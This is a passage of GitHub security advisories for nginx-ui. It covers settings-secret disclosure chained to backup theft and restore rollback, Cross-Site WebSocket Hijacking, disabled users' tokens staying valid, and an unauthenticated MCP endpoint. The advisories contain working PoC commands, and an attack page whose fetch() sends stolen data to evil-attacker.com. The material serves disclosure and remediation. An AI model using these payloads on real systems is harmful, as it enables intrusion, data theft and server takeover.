nginx-ui state/configuration. This breaks the trust boundary between ordinary user-authenticated API access and the internal node-authentication mechanism, and results in sensitive configuration disclosure, alternate-authentication abuse, backup exfiltration with decryption material, and confirmed restore-based rollback of nginx-ui state.

Details Vulnerable code / related files and functions

1) Route exposure and insufficient protection on the read path

File: api/settings/router.go

Relevant function: InitRouter

The settings router exposes the following endpoints: http GET /api/settings/server/name → GetServerName GET /api/settings → GetSettings POST /api/settings → RequireSecureSession(), SaveSettings

The key issue is that the read path (GET /api/settings) is only protected by the generic authentication middleware, while the write path (POST /api/settings) has an additional RequireSecureSession() check. This makes the read path a much easier place to leak sensitive configuration data than the write path. go r.GET("settings/server/name", GetServerName) r.GET("settings", GetSettings) r.POST("settings", middleware.RequireSecureSession(), SaveSettings)

2) Sensitive data is disclosed by GetSettings

File: api/settings/settings.go

Relevant functions: GetSettings, SaveSettings

GetSettings returns multiple configuration objects directly in the JSON response, including app, server, database, auth, casdoor, oidc, cert, http, logrotate, nginx, node, openai, terminal, and webauthn. In other words, the handler does not use a redacted DTO for user-facing output; it serializes the live settings objects directly.

go c.JSON(http.StatusOK, gin.H{ "app": cSettings.AppSettings, "server": cSettings.ServerSettings, "database": settings.DatabaseSettings, "auth": settings.AuthSettings, "casdoor": settings.CasdoorSettings, "oidc": settings.OIDCSettings, "cert": settings.CertSettings, "http": settings.HTTPSettings, "logrotate": settings.LogrotateSettings, "nginx": settings.NginxSettings, "node": settings.NodeSettings, "openai": settings.OpenAISettings, "terminal": settings.TerminalSettings, "webauthn": settings.WebAuthnSettings, })

In my local reproduction on v2.3.6, this response exposed both: node.secret app.jwtsecret

This makes GetSettings the direct disclosure source for the vulnerability.

3) The disclosed value is explicitly defined as protected/sensitive

File: settings/node.go

Relevant object: type Node

The Node settings object defines the following field: go type Node struct { Name string json:"name" binding:"omitempty,safetytext" Secret string json:"secret" protected:"true" ... }

The protected:"true" tag shows that the codebase itself treats node.secret as a protected/sensitive value. Despite that, the field is still returned unredacted by GetSettings. This strongly indicates a real secret disclosure issue rather than a harmless configuration read.

4) The disclosed secret is reused as an authentication credential

File: internal/middleware/middleware.go

Relevant functions: getNodeSecret, AuthRequired, AuthRequiredWS

The authentication middleware contains a separate node-secret authentication path:

- getNodeSecret(c) reads the value from the X-Node-Secret header or the nodesecret query parameter. - AuthRequired() checks whether the supplied value equals settings.NodeSettings.Secret. - If it matches, the middleware: loads initUser := user.GetInitUser(c) stores Secret in the context stores user in the context - allows the request to proceed without relying on the ordinary JWT path for that identity flow

This is the sink of the vulnerability: the same secret disclosed by GET /api/settings is accepted as a valid authentication credential by the middleware.

go if nodeSecret := getNodeSecret(c); nodeSecret != "" && nodeSecret == settings.NodeSettings.Secret { initUser := user.GetInitUser(c) c.Set("Secret", nodeSecret) c.Set("user", initUser) c.Next() return }

AuthRequiredWS() contains similar logic for the WebSocket path, meaning the same secret is also trusted by the WebSocket authentication flow.

5) The write path already treats these fields as protected, but the read path does not

File: api/settings/settings.go

Relevant function: SaveSettings

SaveSettings() already uses ProtectedFill(...) for several settings objects, including: AppSettings NodeSettings OpenAISettings NginxSettings OIDCSettings

This shows the project already recognizes that these objects contain protected fields on the write path. However, GetSettings() still returns the raw objects on the read path, creating a clear “write-protected but read-exposed” inconsistency. That inconsistency is the core authorization/secret-handling flaw here. go cSettings.ProtectedFill(cSettings.AppSettings, &json.App) cSettings.ProtectedFill(settings.NodeSettings, &json.Node) cSettings.ProtectedFill(settings.OpenAISettings, &json.Openai) cSettings.ProtectedFill(settings.NginxSettings, &json.Nginx) cSettings.ProtectedFill(settings.OIDCSettings, &json.Oidc)

6) Backup endpoint reachable after alternate authentication

File: api/backup/router.go, api/backup/backup.go

Relevant functions: InitRouter, CreateBackup

The backup route is exposed as:

go r.GET("backup", CreateBackup)

This route is protected by the same AuthRequired() middleware chain as other authenticated API routes.

In CreateBackup(), the server returns the backup archive to the caller and also sets the X-Backup-Security response header containing the decryption material: go c.Header("X-Backup-Security", fmt.Sprintf("%s:%s", backup.Security.AESKey, backup.Security.AESIv)) c.File(backupFilePath)

As a result, once node.secret is disclosed from /api/settings and reused through X-Node-Secret, the attacker can access /api/backup and obtain both the encrypted backup and the decryption token in the same response.

This means the disclosed secret is not only usable for low-risk authenticated reads, but also for high-impact data exfiltration through the backup subsystem.

7) Restore endpoint is reachable and usable after alternate authentication

File: api/backup/router.go, api/backup/restore.go, internal/backup/restore.go

Relevant functions: authIfInstalled, RestoreBackup, internal restore helpers

The restore route is exposed as:

go r.POST("/restore", authIfInstalled, middleware.EncryptedForm(), RestoreBackup)

On installed instances, authIfInstalled calls AuthRequired(). Because AuthRequired() accepts X-Node-Secret and associates the request with the init user, the same disclosed node.secret can be used to reach the restore workflow, not just read-only or backup routes.

RestoreBackup() accepts:

- backupfile - securitytoken - restorenginx - restorenginxui - verifyhash

It parses the securitytoken as AESKey:AESIv, decodes both values from base64, saves the uploaded backup archive to a temporary location, and then calls the internal restore logic.

In my local reproduction on v2.3.6, a request to POST /api/restore using only:

- X-Node-Secret - a valid backup archive - the matching X-Backup-Security token

returned:

{"nginxuirestored":false,"nginxrestored":false,"hashmatch":true}

for a no-op restore test, confirming that the restore path was reachable and processed successfully via the trusted-node authentication path.

I then performed an observable rollback test. After changing node.name to rollback-poc-B, I restored a previously captured backup using only X-Node-Secret plus the matching backup/security token pair. The server returned:

{"nginxuirestored":true,"nginxrestored":false,"hashmatch":true}

and GET /api/settings/server/name changed from:

rollback-poc-B

back to its original empty value after the restore completed.

This confirms that the disclosed node.secret is sufficient not only for backup exfiltration, but also for successful restore invocation and rollback of nginx-ui state/configuration.

Why these files together form the vulnerability

These files combine into a single exploitable chain:

- api/settings/router.go exposes the settings read endpoint to authenticated callers. - api/settings/settings.go:GetSettings returns raw settings objects, disclosing node.secret and other sensitive values. - settings/node.go confirms that node.secret is explicitly treated as a protected field. - internal/middleware/middleware.go:AuthRequired accepts that same secret as a valid alternate authentication factor and associates the request with the init user.

For that reason, this is not just a “settings disclosure” issue. It is more accurately described as:

secret disclosure in a user-facing API combined with reuse of the disclosed secret as an authentication factor in middleware.

Vulnerable source-to-sink path

The vulnerable chain spans the settings API, node authentication middleware, backup subsystem, and restore subsystem.

Source

An authenticated caller can reach:

- GET /api/settings

The handler returns raw settings objects directly in the JSON response, including:

- settings.NodeSettings - cSettings.AppSettings - settings.OpenAISettings - other configuration objects

In my local reproduction on v2.3.6, the response exposed:

- node.secret - app.jwtsecret

Propagation

The attacker extracts node.secret from the /api/settings response and reuses it as:

- X-Node-Secret header, or - nodesecret query parameter

Authentication sink

AuthRequired() in internal/middleware/middleware.go checks whether the supplied node secret matches settings.NodeSettings.Secret. If it matches, the middleware loads initUser := user.GetInitUser(c), stores the user in the request context, and allows the request to proceed without using the ordinary JWT path for that identity flow.

Post-authentication sinks

After satisfying AuthRequired() through X-Node-Secret, the attacker can reach additional protected routes, including:

- GET /api/settings/server/name - GET /api/settings - GET /api/backup - POST /api/restore (on installed instances via authIfInstalled → AuthRequired())

In particular:

- GET /api/backup returns the backup archive and sets the X-Backup-Security response header containing the decryption material (AESKey:AESIv) - POST /api/restore accepts a backup archive plus the matching securitytoken and executes the restore workflow

This creates the following end-to-end source-to-sink chain:

1. Authenticated caller reaches GET /api/settings 2. Response discloses node.secret (and in my lab also app.jwtsecret) 3. Attacker reuses node.secret as X-Node-Secret 4. AuthRequired() accepts the request on the trusted-node path and associates it with the init user 5. Attacker accesses GET /api/backup 6. Server returns the encrypted backup archive and X-Backup-Security decryption material in the same response 7. Attacker submits the captured backup and matching token to POST /api/restore using only X-Node-Secret 8. Server processes the restore request successfully 9. nginx-ui state/configuration can be rolled back to the contents of the captured backup

This is not just a read-only disclosure chain. It is a disclosure-to-authentication-to-backup-to-restore chain with confirmed integrity impact.

Why this is a vulnerability, not intended behavior

This is not expected behavior for three reasons:

1. Node.Secret is explicitly marked protected:"true", indicating it is sensitive. 2. SaveSettings() uses ProtectedFill(...) on NodeSettings, OpenAISettings, and other settings objects, showing the write path already treats these fields as protected/special. 3. Despite that, GetSettings() still returns the raw secret-bearing objects to the caller, and the disclosed node.secret is immediately reusable as an authentication credential in middleware. That breaks the intended separation between user-facing configuration APIs and internal trusted-node authentication.

Trust boundary that is broken

The broken boundary is: ordinary authenticated user/API session → trusted node / init-user authentication path

A caller who is only supposed to use the normal JWT/cookie-based user path can retrieve a secret that belongs to the trusted-node path, then cross that boundary by presenting X-Node-Secret to AuthRequired().

Attacker model / required privileges

The confirmed attacker requirement is:

- ability to authenticate to the web UI and call GET /api/settings

In my local reproduction on v2.3.6, I reproduced this with a normal browser-authenticated session after resetting the initial account password in a fresh Docker deployment. The issue does not require shell access or direct database access. The route itself is protected, but the read-path has no additional redaction for secret-bearing settings, and the disclosed node secret can then be reused as alternate authentication.

Additional confirmed impact: backup exfiltration through the trusted-node authentication path

The impact is not limited to reading settings or downloading backups.

In api/backup/router.go, the restore endpoint is exposed as:

go r.POST("/restore", authIfInstalled, middleware.EncryptedForm(), RestoreBackup)

On installed instances, authIfInstalled calls AuthRequired(). Because AuthRequired() accepts X-Node-Secret and maps the request to the init user when the supplied secret matches settings.NodeSettings.Secret, the disclosed node.secret can also be reused to reach the restore workflow.

In api/backup/restore.go, RestoreBackup() accepts:

- backupfile - securitytoken - restorenginx - restorenginxui - verifyhash

It parses securitytoken as AESKey:AESIv, decodes both values from base64, saves the uploaded backup archive, and invokes the internal restore logic.

In my local reproduction on v2.3.6, I first confirmed route reachability by submitting a valid backup archive and matching securitytoken using only X-Node-Secret, which returned: {"nginxuirestored":false,"nginxrestored":false,"hashmatch":true}

I then performed an observable rollback test:

1. Captured a valid backup in state A 2. Changed node.name to rollback-poc-B 3. Verified GET /api/settings/server/name returned rollback-poc-B 4. Submitted the previously captured backup to POST /api/restore using only X-Node-Secret and the matching securitytoken Received: {"nginxuirestored":true,"nginxrestored":false,"hashmatch":true}

Verified GET /api/settings/server/name returned the original empty value after restore

This confirms that the disclosed node.secret is sufficient not only for backup exfiltration, but also for successful restore invocation and rollback of nginx-ui state/configuration through the trusted-node authentication path.

PoC Reproduction environment

- Product: 0xJacky/nginx-ui - Confirmed version: v2.3.6 - Deployment method: local Docker lab on http://127.0.0.1:8080 using uozi/nginx-ui:latest at the time of testing.

Exact reproduction steps 1.Start a fresh local Docker deployment of uozi/nginx-ui:latest.

Optional convenience settings I used in the lab: powershell NGINXUINODESKIPINSTALLATION=true NGINXUINODESECRET=<known test value> NGINXUIAPPJWTSECRET=<known test value> NGINXUIIGNOREDOCKERSOCKET=true

These are documented environment settings supported by Nginx UI.

2.Reset the initial account password using the official command: powershell docker exec nginx-ui-lab nginx-ui reset-password --config=/etc/nginx-ui/app.ini

The application prints the username/password for the initial account. [Screenshot 1: password reset output showing the initial username/password] <img width="1919" height="274" alt="image" src="https://github.com/user-attachments/assets/ec37a0f1-8de5-42dd-beee-c6ddac458ab8" />

3.Log in through the browser and capture the JWT token from the login response or the token cookie. [Screenshot 2: browser/devtools showing authenticated session and token] <img width="1535" height="746" alt="image" src="https://github.com/user-attachments/assets/012b65a4-fa51-44a2-a8d0-bcb6a733cffa" />

4.Send: http GET /api/settings Header: Authorization: <raw JWT>

In my reproduction, the response contained:

- node.secret - app.jwtsecret - other settings objects such as openai, oidc, casdoor, nginx, etc.

Example PowerShell: powershell $Base = "http://127.0.0.1:8080" $Jwt = "<captured token>" $authHeaders = @{ Authorization = $Jwt } $settings = Invoke-RestMethod -Method Get -Uri "$Base/api/settings" -Headers $authHeaders $nodeSecret = $settings.node.secret $settings | ConvertTo-Json -Depth 20

[Screenshot 3: /api/settings response showing node.secret and app.jwtsecret] <img width="1706" height="978" alt="image" src="https://github.com/user-attachments/assets/25fc3c94-e5b3-4309-8b49-09633fbe3b89" />

<img width="948" height="104" alt="image" src="https://github.com/user-attachments/assets/eca687a5-1e02-42a1-b196-155184db4226" />

5.Verify that the protected route fails without authentication: powershell Invoke-RestMethod -Method Get -Uri "$Base/api/settings/server/name"

Expected result: 403 Forbidden.

[Screenshot 4: unauthenticated 403] <img width="1261" height="236" alt="image" src="https://github.com/user-attachments/assets/ba302b53-e4f7-414a-9a95-ea2b64a5e05a" />

6.Re-send the same request with only X-Node-Secret: powershell $nodeHeaders = @{ "X-Node-Secret" = $nodeSecret } Invoke-RestMethod -Method Get -Uri "$Base/api/settings/server/name" -Headers $nodeHeaders

Expected result: 200 OK with a JSON body such as:

{ "name": "" }

[Screenshot 5: successful response using only X-Node-Secret] <img width="1833" height="96" alt="image" src="https://github.com/user-attachments/assets/eef06152-2450-4701-9b06-6997d7ce24f5" />

7.Re-send GET /api/settings using only X-Node-Secret: powershell $settingsViaSecret = Invoke-RestMethod -Method Get -Uri "$Base/api/settings" -Headers $nodeHeaders $settingsViaSecret | ConvertTo-Json -Depth 20

Expected result: 200 OK, and the response again includes node.secret.

[Screenshot 6: /api/settings succeeding with only X-Node-Secret] <img width="1708" height="835" alt="image" src="https://github.com/user-attachments/assets/7401ba0e-fb7e-4de8-970a-39f8077c0748" />

8.Use the disclosed node.secret to access the backup endpoint:

powershell $Base = "http://127.0.0.1:8080" $nodeHeaders = @{ "X-Node-Secret" = $nodeSecret }

$r = Invoke-WebRequest -UseBasicParsing -Method Get -Uri "$Base/api/backup" -Headers $nodeHeaders -OutFile ".\nginxui-backup.zip" -PassThru $r.StatusCode $r.Headers["X-Backup-Security"] $r.Headers | Format-List

Expected result:

- HTTP status 200 OK - a backup archive is written to disk - the response contains the X-Backup-Security header with backup decryption material in the format: AESKey:AESIv

[Screenshot 7: successful /api/backup download using only X-Node-Secret] <img width="1919" height="823" alt="image" src="https://github.com/user-attachments/assets/f76b8e5d-651b-47e0-a08c-7e2dfc6d4a00" />

9.(Optional validation) Verify that the issue is not dependent on JWT forgery.

I also tested whether the disclosed app.jwtsecret could be used to forge a valid JWT for standard authenticated routes. I generated a forged HS256 JWT using the leaked signing secret and attempted to access protected endpoints with the forged token.

Example PowerShell: powershell $forgedHeaders = @{ Authorization = $ForgedJwt }

Invoke-RestMethod -Method Get -Uri "$Base/api/settings/server/name" -Headers $forgedHeaders Invoke-RestMethod -Method Get -Uri "$Base/api/settings" -Headers $forgedHeaders Invoke-WebRequest -UseBasicParsing -Method Get -Uri "$Base/api/backup" -Headers $forgedHeaders -OutFile ".\forged-jwt-backup.zip" -PassThru

Observed result:

- forged JWT access to /api/settings/server/name returned 403 - forged JWT access to /api/settings returned 403 - forged JWT access to /api/backup returned 403

This suggests the standard JWT path is additionally constrained by server-side token lookup and that the confirmed exploitation path is specifically the disclosed node.secret / X-Node-Secret alternate authentication route.

[Screenshot : forged JWT requests returning 403]

<img width="1907" height="967" alt="image" src="https://github.com/user-attachments/assets/c62a074b-bd35-436a-b1b1-6f2c3bff34d2" />

10.Confirm observable rollback of nginx-ui state using a previously captured backup.

First, I captured a backup in state A: powershell $rA = Invoke-WebRequest -UseBasicParsing -Method Get -Uri "$Base/api/backup" -Headers $nodeHeaders -OutFile ".\backup-state-A.zip" -PassThru $SecurityTokenA = ($rA.Headers["X-Backup-Security"] | Select-Object -First 1).ToString().Trim()

I then changed node.name through the normal authenticated settings write path to: rollback-poc-B

and verified: Invoke-RestMethod -Method Get -Uri "$Base/api/settings/server/name" -Headers $nodeHeaders

Observed result: name ---- rollback-poc-B

I then restored the previously captured state-A backup using only X-Node-Secret and the matching backup/security token: powershell curl.exe -i -X POST "$Base/api/restore" -H "X-Node-Secret: $nodeSecret" -F "backupfile=@.\backup-state-A.zip" --form-string "securitytoken=$SecurityTokenA" --form-string "restorenginx=false" --form-string "restorenginxui=true" --form-string "verifyhash=true"

Observed result: powershell {"nginxuirestored":true,"nginxrestored":false,"hashmatch":true}

After waiting a few seconds for the restore to apply, I queried the same setting again: powershell Invoke-RestMethod -Method Get -Uri "$Base/api/settings/server/name" -Headers $nodeHeaders

Observed result: name ----

This confirmed successful rollback of nginx-ui state/configuration from rollback-poc-B back to the original value using only the disclosed node.secret, a valid backup archive, and the matching X-Backup-Security token.

[Screenshot: node.name / server name before restore showing rollback-poc-B] <img width="1517" height="175" alt="image" src="https://github.com/user-attachments/assets/e358a217-3089-45a1-9e66-87f78958a347" />

[Screenshot: successful restore response showing nginxuirestored:true] <img width="1671" height="423" alt="image" src="https://github.com/user-attachments/assets/5051b4c1-0ad7-4186-8158-fb7da593efef" />

[Screenshot: same setting after restore showing rollback to the original value] <img width="1707" height="319" alt="image" src="https://github.com/user-attachments/assets/eb9b5707-d90a-430e-92f9-6619ddf7f9cd" />

Confirmed observed results

In my local reproduction on v2.3.6:

- GET /api/settings with a normal authenticated session returned: - node.secret = NodeSecret-Lab-123456 - app.jwtsecret = JwtSecret-Lab-123456

- GET /api/settings/server/name without authentication returned 403

- GET /api/settings/server/name with only X-Node-Secret: NodeSecret-Lab-123456 returned 200

- GET /api/settings with only X-Node-Secret returned 200

- GET /api/backup with only X-Node-Secret returned 200

- /api/backup returned both: - a backup archive - the X-Backup-Security response header containing backup decryption material

- POST /api/restore without authentication failed with: json {"message":"Authorization failed"}

POST /api/restore with only X-Node-Secret, a valid backup archive, and the matching X-Backup-Security token returned: {"nginxuirestored":false,"nginxrestored":false,"hashmatch":true} after changing node.name to rollback-poc-B, GET /api/settings/server/name returned: rollback-poc-B restoring a previously captured backup using only X-Node-Secret and the matching X-Backup-Security token returned: {"nginxuirestored":true,"nginxrestored":false,"hashmatch":true} after restore, GET /api/settings/server/name returned the original empty value, confirming rollback of nginx-ui state/configuration forged JWT requests signed with the leaked app.jwtsecret failed with 403 on the tested standard protected routes

Impact The confirmed impact is:

1. Sensitive settings disclosure An authenticated caller can retrieve sensitive configuration values through GET /api/settings, including: - node.secret - app.jwtsecret - other secret-bearing settings objects depending on deployment and enabled integrations

2. Alternate-authentication abuse The disclosed node.secret can be reused through X-Node-Secret (or nodesecret) to satisfy AuthRequired() and enter the trusted-node / init-user authentication path.

3. Trust-boundary bypass An ordinary authenticated user can cross from the normal JWT/cookie-based user path into the internal node-authentication path.

4. Full backup exfiltration After crossing that boundary, the attacker can access GET /api/backup and download the application's backup archive.

5. Backup decryption material disclosure The same /api/backup response also includes the X-Backup-Security header containing the decryption material (AESKey:AESIv), allowing the attacker to decrypt the exported backup contents.

6. Restore workflow invocation through the trusted-node path The disclosed node.secret is sufficient to reach POST /api/restore on an installed instance when combined with a valid backup archive and matching X-Backup-Security token.

7. Confirmed rollback of nginx-ui state/configuration In my lab, I changed node.name to rollback-poc-B, then restored a previously captured backup using only X-Node-Secret and the matching backup/security token pair. After restore, the value reverted to its original state. This confirms real integrity impact through rollback of nginx-ui state/configuration.

8. Potential service disruption / operational impact Because restore operations can trigger nginx-ui and/or nginx restart behavior depending on the selected restore options, abuse of the restore workflow may also create operational disruption in addition to confidentiality and integrity impact.

9. Potential downstream compromise Depending on deployment and configured integrations, the exposed settings and exported backups may contain additional sensitive information such as: - JWT signing secrets - node secrets - third-party API credentials - OIDC / Casdoor / OpenAI configuration - operational configuration data and other stored secrets

Notes on JWT forgery testing

I also tested whether the disclosed app.jwtsecret could be used for successful forged JWT access on standard authenticated routes. In my reproduction, forged HS256 JWTs signed with the leaked secret were rejected with 403 on /api/settings/server/name, /api/settings, and /api/backup.

This indicates that the confirmed exploitation path is the disclosed node.secret and the X-Node-Secret trusted-node authentication route, not direct JWT forgery on standard routes.

This matters because the confirmed impact already includes: - backup exfiltration - disclosure of backup decryption material - successful restore invocation - rollback of nginx-ui state/configuration

without needing forged JWTs.

Recommended fix 1. Do not return secret-bearing settings fields from GET /api/settings. Replace the current raw response with a redacted DTO. At minimum, do not expose: - node.secret - app.jwtsecret - provider / API / client secrets - any other secret-bearing settings fields

2. Require stronger authorization for settings read operations. If /api/settings is intended only for trusted administrators or internal operators, enforce that explicitly instead of relying only on the generic authenticated middleware.

3. Do not use a secret retrievable from a user-facing API as an authentication credential. The node secret should be scoped strictly to node-to-node communication and must never be readable through ordinary user-facing settings APIs.

4. Reassess use of X-Node-Secret as a full alternate-authentication mechanism. If this mechanism must exist, it should be isolated from user-facing routes and should not map directly to privileged request context without additional scoping or separation.

5. Protect backup functionality against alternate-authentication abuse. /api/backup should not be reachable through a secret that can be disclosed via /api/settings.

6. Protect restore functionality against trusted-node secret abuse. On installed instances, /api/restore should not be invocable through a node secret disclosed from a user-facing API. Restore should require a stronger admin-only authorization model and should not be reachable through the same alternate-authentication path used for node trust.

7. Do not return backup decryption material in the same response as the backup file. The current X-Backup-Security header exposes decryption material together with the encrypted archive, which defeats the security goal of backup encryption when the endpoint is reached by an unauthorized actor.

8. Consider requiring explicit re-authentication / secure-session semantics for restore. Restore is a high-impact state-changing action and should be protected at least as strongly as other sensitive write operations.

9. Rotate compromised secrets on upgrade/fix. After patching, rotate: - node secret - JWT signing secret - backup encryption material - any third-party credentials or secrets exposed through /api/settings or backup exports

10. Audit all settings objects returned by GetSettings() for secret leakage. The current response includes multiple settings objects (app, node, openai, oidc, casdoor, etc.), so the remediation should be systematic rather than field-by-field only.

A patch is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.8.

1 / 2
Source: GitHub
First published (updated )
Severity
5.5
CSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

All WebSocket endpoints in nginx-ui use a gorilla/websocket Upgrader with CheckOrigin unconditionally returning true, allowing Cross-Site WebSocket Hijacking (CSWSH). Combined with the fact that authentication tokens are stored in browser cookies (set via JavaScript without HttpOnly or explicit SameSite attributes), a malicious webpage can establish authenticated WebSocket connections to the nginx-ui instance when a logged-in administrator visits the attacker-controlled page.

Details

Vulnerable Code Pattern

Every WebSocket endpoint in the codebase uses the same unsafe upgrader configuration:

go // Found in: api/terminal/pty.go, api/analytic/analytic.go, api/event/websocket.go, // api/nginxlog/websocket.go, api/upstream/upstream.go, api/cluster/websocket.go, // api/nginx/websocket.go, api/certificate/revoke.go, api/sites/websocket.go, // api/llm/llm.go, api/llm/codecompletion.go, api/system/upgrade.go var upgrader = websocket.Upgrader{ CheckOrigin: func(r http.Request) bool { return true // Accepts ALL origins }, }

Cookie-Based Authentication

The Vue.js frontend stores JWT tokens as cookies without security attributes (app/src/pinia/moudule/user.ts):

typescript watch(token, v => { cookies.set('token', v, { maxAge: 86400 }) // No HttpOnly, no SameSite })

The backend middleware accepts tokens from cookies (internal/middleware/middleware.go):

go func getToken(c gin.Context) (token string) { // ... if token, = c.Cookie("token"); token != "" { return token } return "" }

Affected Endpoints

All WebSocket endpoints under the authenticated router group are vulnerable:

| Endpoint | Impact | |---|---| | /api/nginx/detailstatus/ws | Leak nginx performance metrics and configuration | | /api/events | Leak system processing events | | /api/analytic/intro | Leak CPU, memory, disk, network statistics | | /api/nginxlog | Read nginx log files (access/error logs) | | /api/pty | Interactive terminal access (RCE if OTP not enabled) | | /api/upgrade/perform | Trigger system binary upgrade | | /api/cluster/nodes/enabled | Leak and manipulate cluster node data |

PoC

Environment Setup

yaml services: nginx-ui: image: uozi/nginx-ui:latest ports: - "9000:80" volumes: - nginx-ui-config:/etc/nginx-ui volumes: nginx-ui-config:

Attack Page (hosted on attacker-controlled domain)

html <script> // Attacker page at http://evil-attacker.com // Victim must be logged into nginx-ui const ws = new WebSocket('ws://TARGETNGINXUI:9000/api/nginx/detailstatus/ws'); ws.onopen = () => console.log('CSWSH: Connected from malicious origin!'); ws.onmessage = (e) => { console.log('Stolen data:', e.data); fetch('https://evil-attacker.com/collect', {method:'POST', body: e.data}); }; </script>

Automated PoC Results

[+] VULNERABLE! WebSocket connected from http://evil-attacker.com [+] Received: {"stubstatusenabled":false,"running":true,"info":{"active":0,...}}

[+] VULNERABLE! Event stream from http://evil-attacker.com [+] Received: {"event":"processingstatus","data":{"indexscanning":false,...}}

[+] VULNERABLE! Analytics from http://evil-attacker.com [+] Received: {"avgload":{"load1":0.1,"load5":0.2},"cpupercent":0.08,...}

[+] CRITICAL: Terminal connected from http://evil-attacker.com! [+] Terminal output: 'eae7a76e3ef4 login: ' [] Sent username: root [+] Output: 'Password: '

[+] Control test (no auth): Correctly rejected with HTTP 403

Impact

An attacker can create a malicious webpage that, when visited by an authenticated nginx-ui administrator, silently:

1. Steals sensitive server information -- nginx configuration, performance metrics, CPU/memory/disk usage, network traffic statistics, and system events 2. Reads nginx log files -- potentially containing sensitive request data, IP addresses, and authentication tokens 3. Gains interactive terminal access -- if the administrator has not enabled OTP/2FA, the attacker obtains a full PTY shell on the server, achieving Remote Code Execution 4. Triggers system operations -- including nginx reload/restart and binary upgrades

The attack requires no privileges and no knowledge of the victim's credentials. The only user interaction needed is visiting a webpage.

Remediation

1. Implement proper origin validation in all WebSocket upgraders:

go var upgrader = websocket.Upgrader{ CheckOrigin: func(r http.Request) bool { origin := r.Header.Get("Origin") return isAllowedOrigin(origin) }, }

2. Set secure cookie attributes: typescript cookies.set('token', v, { maxAge: 86400, sameSite: 'strict', secure: true })

3. Add CSRF token validation to WebSocket upgrade requests as defense-in-depth.

A patch is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.5

1 / 2
Source: GitHub
First published (updated )
Severity
8.6
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

A user who was disabled by an administrator can use previously issued API tokens for up to the token lifetime. In practice, disabling a compromised account does not actually terminate that user’s access, so an attacker who already stole a JWT can continue reading and modifying protected resources after the account is marked disabled.

Since tokens can be used to create new accounts, it is possible the disabled user to maintain the privilege.

Details

The application exposes an account-level disable control through the users management API. Login process correctly enforces that control: https://github.com/0xJacky/nginx-ui/blob/6ec542fd97abf2c5950f374f78a32938ad0030e6/internal/user/login.go#L29-L31

However, token-based authentication does not enforce the same check (This code validates token structure and expiry, but returns that user object without checking user.Status.): https://github.com/0xJacky/nginx-ui/blob/6ec542fd97abf2c5950f374f78a32938ad0030e6/internal/user/user.go#L44-L139

There’s also no token revocation feature, unlike when a password is changed: https://github.com/0xJacky/nginx-ui/blob/6ec542fd97abf2c5950f374f78a32938ad0030e6/api/user/user.go#L38-L51

As a result, a disabled user can continue to have full API access. In particular, since that includes account creation, they can create a new account and keep operating even after the JWT expires.

PoC

The issue was validated with version 2.3.3 using the uozi/nginx-ui:sha-c92ec0a docker image.

View the PoC video:

https://github.com/user-attachments/assets/7a5175cb-2f79-4c1b-adad-e7d0bf2ea2bd

Impact

Administrators who rely on "disable user" as an authentication or authorization control can be bypassed.

The disabled user can keep reading sensitive configuration and executing authenticated state-changing actions allowed to that account.

1 / 2
Source: GitHub
First published (updated )
Severity
9.8
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary The nginx-ui MCP (Model Context Protocol) integration exposes two HTTP endpoints: /mcp and /mcpmessage. While /mcp requires both IP whitelisting and authentication (AuthRequired() middleware), the /mcpmessage endpoint only applies IP whitelisting - and the default IP whitelist is empty, which the middleware treats as "allow all". This means any network attacker can invoke all MCP tools without authentication, including restarting nginx, creating/modifying/deleting nginx configuration files, and triggering automatic config reloads - achieving complete nginx service takeover.

Details Vulnerable Code

mcp/router.go:9-17 - Auth asymmetry between endpoints

go func InitRouter(r gin.Engine) { r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c gin.Context) { mcp.ServeHTTP(c) }) r.Any("/mcpmessage", middleware.IPWhiteList(), func(c gin.Context) { mcp.ServeHTTP(c) }) }

The /mcp endpoint has middleware.AuthRequired(), but /mcpmessage does not. Both endpoints route to the same mcp.ServeHTTP() handler, which processes all MCP tool invocations.

internal/middleware/ipwhitelist.go:11-26 - Empty whitelist allows all

go func IPWhiteList() gin.HandlerFunc { return func(c gin.Context) { clientIP := c.ClientIP() if len(settings.AuthSettings.IPWhiteList) == 0 || clientIP == "" || clientIP == "127.0.0.1" || clientIP == "::1" { c.Next() return } // ... } }

When IPWhiteList is empty (the default - settings/auth.go initializes Auth{} with no whitelist), the middleware allows all requests through. This is a fail-open design.

Available MCP Tools (all invocable without auth)

From mcp/nginx/: - restartnginx - restart the nginx process - reloadnginx - reload nginx configuration - nginxstatus - read nginx status

From mcp/config/: - nginxconfigadd - create new nginx config files - nginxconfigmodify - modify existing config files - nginxconfiglist - list all configurations - nginxconfigget - read config file contents - nginxconfigenable - enable/disable sites - nginxconfigrename - rename config files - nginxconfigmkdir - create directories - nginxconfighistory - view config history - nginxconfigbasepath - get nginx config directory path

Attack Scenario

1. Attacker sends HTTP requests to http://target:9000/mcpmessage (default port) 2. No authentication is required - IP whitelist is empty by default 3. Attacker invokes nginxconfigmodify with relativepath="nginx.conf" to rewrite the main nginx configuration (e.g., inject a reverse proxy that logs Authorization headers) 4. nginxconfigadd auto-reloads nginx (configadd.go:74), or attacker calls reloadnginx directly 5. All traffic through nginx is now under attacker control - requests intercepted, redirected, or denied

PoC 1. The auth asymmetry is visible by comparing the two route registrations in mcp/router.go:

go // Line 10 - /mcp requires auth: r.Any("/mcp", middleware.IPWhiteList(), middleware.AuthRequired(), func(c gin.Context) { mcp.ServeHTTP(c) })

// Line 14 - /mcpmessage does NOT: r.Any("/mcpmessage", middleware.IPWhiteList(), func(c gin.Context) { mcp.ServeHTTP(c) })

Both call the same mcp.ServeHTTP(c) handler, which dispatches all tool invocations.

